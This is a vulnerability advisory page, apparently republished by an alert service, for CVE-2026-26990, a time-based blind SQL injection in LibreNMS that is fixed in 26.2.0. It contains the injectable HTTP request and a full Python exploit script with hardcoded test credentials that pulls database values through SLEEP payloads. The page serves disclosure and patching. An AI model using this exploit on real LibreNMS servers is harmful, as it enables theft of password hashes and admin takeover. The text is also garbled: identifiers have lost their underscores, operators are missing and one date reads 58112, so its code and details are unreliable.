CVE-2026-26990: LibreNMS has Time-Based Blind SQL Injection in address-search.inc.php

Published Feb 18, 2026
·
Updated

Summary A time-based blind SQL injection vulnerability exists in address-search.inc.php via the address parameter. When a crafted subnet prefix is supplied, the prefix value is concatenated directly into an SQL query without proper parameter binding, allowing an attacker to manipulate query logic and infer database information through time-based conditional responses.

Details This vulnerability requires authentication and is exploitable by any authenticated user.

The vulnerable endpoint is at /ajaxtable.php with the following request displaying the injection point. POST /ajaxtable.php HTTP/1.1 Host: 192.168.236.131 User-Agent: Mozilla/5.0 (X11; Linux x8664; rv:140.0) Gecko/20100101 Firefox/140.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate, br Content-Type: application/x-www-form-urlencoded; charset=UTF-8 Origin: http://192.168.236.131 Connection: keep-alive Referer: http://192.168.236.131/search Cookie: laravelsession=[Authenticated user cookie]

current=1&rowCount=55&sort%5Bhostname%5D=asc&searchPhrase=&id=address-search&searchtype=ipv4&deviceid=1&interface=&address=127.0.0.1/aa<injected SQL here>

Within includes/html/table/address-search.inc.php, the user-controlled $prefix variable derived from the address parameter is concatenated directly into the SQL query without sanitization or parameter binding on lines 34 and 52.

php // Lines 16-35, 51-53 $address = $vars['address'] ?? ''; $prefix = ''; $sort = trim((string) $sort);

if (strcontains($address, '/')) { [$address, $prefix] = explode('/', $address, 2); }

if ($searchtype == 'ipv4') { $sql = ' FROM ipv4addresses AS A, ports AS I, devices AS D'; $sql .= ' WHERE I.portid = A.portid AND I.deviceid = D.deviceid ' . $where . ' ';

if (! empty($address)) { $sql .= ' AND ipv4address LIKE ?'; $param[] = "%$address%"; }

if (! empty($prefix)) { $sql .= " AND ipv4prefixlen='$prefix'"; }

......

if (! empty($prefix)) { $sql .= " AND ipv6prefixlen = '$prefix'"; }

PoC The following Python script exploits the time-based blind SQL injection vulnerability to retrieve the value of SELECT CURRENTUSER() from the database: python #!/usr/bin/python3

import requests import sys import re

from urllib3.exceptions import InsecureRequestWarning

requests.packages.urllib3.disablewarnings(category=InsecureRequestWarning)

Configured to be used with burpsuite on the default burpsuite port of 8080 proxies = {"http": "http://127.0.0.1:8080", "https": "http://127.0.0.1:8080"}

When None is returned it means that all values have been retrieved from the queried value in the target DB def blindbinsearchsqli(injstr): try: a = range(32,126) start = 0 end = len(a) while start <= end: mid = (start + end) // 2 targetequal = injstr.replace("[CHAR]", str(a[mid])) targetless = injstr.replace("=[CHAR]", f"<{a[mid]}")

# Return ascii decimal value for storing to a local string buffer if condition(targetequal): return a[mid] # Use lower half of the "a" array elif condition(targetless): end = mid - 1 # Use upper half of the "a" array else: start = mid + 1 return None except IndexError: return None

Check injection result def condition(payload): exploitdata = { "current": "1", "rowCount": "50", "sort[hostname]": "asc", "searchPhrase": "", "id": "address-search", "searchtype": "ipv4", "deviceid": "1", "interface": "", "address": f"127.0.0.1/aa{payload}" } # Payload must be slotted in somewhere in this code payloadurl = f"{url}/ajaxtable.php"

r = s.post(payloadurl, data=exploitdata)

elapsedtimeseconds = r.elapsed.totalseconds()

# If response time is within sleep function delay range of +1 or -1 second the query returned "true" if (elapsedtimeseconds + 1) > (sleepdelay 2) and (elapsedtimeseconds - 1) < (sleepdelay 2): return True else: return False

def getlength(inj): length = 0 print(f"(+) Getting the length of \"{inj}\"") while True: # MySQL #lengthinjectionstring = f" AND LENGTH(({inj}))={str(length)}-- -" lengthinjectionstring = f"' AND (SELECT 1 FROM (SELECT IF(LENGTH(({inj}))={str(length)},SLEEP({sleepdelay}),0))x) AND '1'='1"

boolvalue = condition(lengthinjectionstring)

if boolvalue == False: length += 1 else: return length

def injection(injectqry): extracted = "" length = getlength(injectqry) print(f"Length of \"{injectqry}\": {length}") print(f"(+) Retrieving the value for \"{injectqry}\"")

# +2 to length in order to automatically stop the injection once the None value is returned, meaning that the whole query value is extracted for i in range(1, length + 2): # MySQL injectionstring = f"' AND (SELECT 1 FROM (SELECT IF(ASCII(SUBSTRING(({injectqry}),{i},1))=[CHAR],SLEEP({sleepdelay}),0))x) AND '1'='1"

retrievedvalue = blindbinsearchsqli(injectionstring)

if retrievedvalue: extracted += chr(retrievedvalue) extractedchar = chr(retrievedvalue) print(extractedchar, flush=True, end="") elif retrievedvalue == None: print("\n(+) done!\n") return extracted

global url global s global sleepdelay global username global password

Default sleep delay, due to injection query used the response time will be sleepdelay 2 sleepdelay = 1.5

s = requests.Session()

HTTPS s.verify = False

Toggle debug proxy #s.proxies.update(proxies)

url = "http://192.168.236.131"

username = "tester2" password = "Adminbazinga"

if len(sys.argv) > 1: url = sys.argv[1] if len(sys.argv) > 2: username = sys.argv[2] if len(sys.argv) > 3: password = sys.argv[3] if len(sys.argv) > 4: sleepdelay = float(sys.argv[4])

r = s.get(url + "/login")

logintoken = re.search(r"name=\"token\"\s+value=\"([^\"]+)\"", r.text).group(1)

logindata = { "token": logintoken, "username": username, "password": password, "submit": "" }

r = s.post(url + "/login", data=logindata)

Example: python3 script.py http://127.0.0.1 username password 1.5 if name == "main": injection("SELECT CURRENTUSER()")

Tester user role: <img width="771" height="154" alt="image" src="https://github.com/user-attachments/assets/fe13754c-9a41-48cb-934d-575097675c13" />

Example usage of PoC script: <img width="924" height="104" alt="image" src="https://github.com/user-attachments/assets/6b1e19a9-4c73-4e44-8e16-851ff92d5960" />

Impact Any authenticated user can exploit this vulnerability to extract sensitive information from the back-end database using time‑based blind SQL injection techniques. This leads to unauthorised disclosure of database contents, including schema information and potentially sensitive application data. An attacker can retrieve privileged accounts (e.g. administrative usernames) and their associated password hashes, potentially leading to privilege escalation within LibreNMS by cracking the password hashes and obtaining plaintext admin user credentials.

Other sources

LibreNMS is an auto-discovering PHP/MySQL/SNMP based network monitoring tool. Versions 25.12.0 and below have a Time-Based Blind SQL Injection vulnerability in address-search.inc.php via the address parameter. When a crafted subnet prefix is supplied, the prefix value is concatenated directly into an SQL query without proper parameter binding, allowing an attacker to manipulate query logic and infer database information through time-based conditional responses. This vulnerability requires authentication and is exploitable by any authenticated user. This issue has been fixedd in version 26.2.0.

MITRE

Affected Software

2 affected componentsFixes available
composer/librenms/librenms<26.2.0
26.2.0
librenms librenms<26.2.0

Event History

Feb 18, 2026
Advisory Published
via GitHub·10:31 PM
Data Sourced
via GitHub·10:31 PM
DescriptionSeverityWeaknessAffected Software
Feb 20, 2026
CVE Published
via MITRE·01:29 AM
Data Sourced
via MITRE·01:29 AM
DescriptionSeverityWeakness
Data Sourced
via NVD·02:16 AM
RemedyDescriptionSeverityWeaknessAffected Software
May 15, 58112
Event
via FIRST·05:41 PM
Free Weekly Intel

Don't miss critical vulnerabilities

Join thousands of security professionals who receive our weekly digest of trending CVEs, zero-days, and exploited vulnerabilities.

No spam. Unsubscribe anytime.

Frequently Asked Questions

1

What is the severity of CVE-2026-26990?

CVE-2026-26990 is classified as a medium severity vulnerability due to its potential impact on database security.

2

How do I fix CVE-2026-26990?

The recommended fix for CVE-2026-26990 is to upgrade LibreNMS to version 26.2.0 or later.

3

What does CVE-2026-26990 exploit?

CVE-2026-26990 exploits a time-based blind SQL injection vulnerability in the address-search.inc.php file.

4

Which versions of LibreNMS are affected by CVE-2026-26990?

CVE-2026-26990 affects all versions of LibreNMS prior to 26.2.0.

5

What type of attack can CVE-2026-26990 facilitate?

CVE-2026-26990 can facilitate unauthorized access to the database through SQL injection attacks.

Contact

SecAlerts Pty Ltd.
132 Wickham Terrace
Fortitude Valley,
QLD 4006, Australia
info@secalerts.co
By using SecAlerts services, you agree to our services end-user license agreement. This website is safeguarded by reCAPTCHA and governed by the Google Privacy Policy and Terms of Service. All names, logos, and brands of products are owned by their respective owners, and any usage of these names, logos, and brands for identification purposes only does not imply endorsement. If you possess any content that requires removal, please get in touch with us.
© 2026 SecAlerts Pty Ltd.
ABN: 70 645 966 203, ACN: 645 966 203